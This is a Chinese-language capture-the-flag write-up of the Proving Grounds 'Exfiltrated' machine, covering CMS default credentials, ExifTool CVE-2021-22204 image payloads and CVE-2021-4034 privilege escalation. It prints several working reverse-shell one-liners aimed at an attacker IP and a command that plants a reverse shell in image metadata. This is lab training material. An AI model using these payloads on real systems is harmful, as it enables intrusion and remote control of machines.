攻击链
端口扫描---默认密码---CMS的RCE---以root权限运行的脚本---exiftool工具本身的漏洞---制造有反弹shell的图片
---运行linpeas.sh,利用CVE-2021-4034提权
知识点
CVE-2021-22204
CVE-2021-4034
难度
中等(我觉得)
过程
信息收集
只有俩端口

这个时候,22端口可能有用、没用。 但80端口一定有幺蛾子。

我其实不知道这个是什么,但是大概率要绑定靶机IP,不然怎么访问。。
先只访问IP试一下,同时遍历

一个站点,看来突破点在80。遍历一下试试,
dirsearch -u http://exfiltrated.offsec/ -f -e php,txt,pdf,html
没啥东西。
突破边界

找到CMS关键词,搜索一下对应漏洞

下载该EXP
尝试搜索默认密码

登录成功了

这就突破边界了

提权(3种)

---》bash受限
我用以下命令连接不回去
nc -e 192.168.49.53 4444
rm /tmp/f; mkfifo /tmp/f;cat /tmp/f| /bin/sh -i 2>&1 | nc 192.168.49.53 4444 > /tmp/f
/bin/bash -c 'bash -i >& /dev/tcp/192.168.49.53/4444 0>&1'
我其实不理解。。。最后用这个连接上的。
/usr/bin/python3 -c 'import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("192.168.49.53",4444)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call(["/bin/sh","-i"]);'

上传linpeas,寻找提权信息。我其实没找到linpeas输出结果里的哪个部分是定时任务。但这里增加定时计划任务为信息收集点。
有个定时任务是这样的:
* * * * * root bash /opt/image-exif.sh
exiftools本身有RCE,再执行有反弹shell的文件。
总之,到这里,无非就是生成有反弹shell的图片,以下有两种生成方式:
exiftool
exiftool -config eval.config runme.jpg -eval='system("/bin/bash -c \"bash -i >& /dev/tcp/192.168.49.58/4445 0>&1\"")'

验证一下,是否写入:

此处并无显示,我看其他wp会验证是否写入,其对应的Copyright字段会以base64的存储payload的eval字段:
通过wget把该图片下载到脚本中的目录,并监听4445端口。

但确实成功了。

参考链接:
Proving Grounds Practice-Exfiltrated | CN-SEC 中文网
https://github.com/OneSecCyber/JPEG_RCE
直接用脚本
脚本地址如下:
UNICORDev/exploit-CVE-2021-22204: Exploit for CVE-2021-22204 (ExifTool) - Arbitrary Code Execution
生成有反弹shell的图片
python3 exploit-CVE-2021-22204.py -c 'rm /tmp/f; mkfifo /tmp/f;cat /tmp/f| /bin/sh -i 2>&1 | nc 192.168.49.58 4445 > /tmp/f'
上传,并执行

得到结果。

CVE-2021-4034.py
没写的部分是freebuf没保存,,不是我没写, 破网站!
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf
客服小蜜蜂(微信:freebee1024)



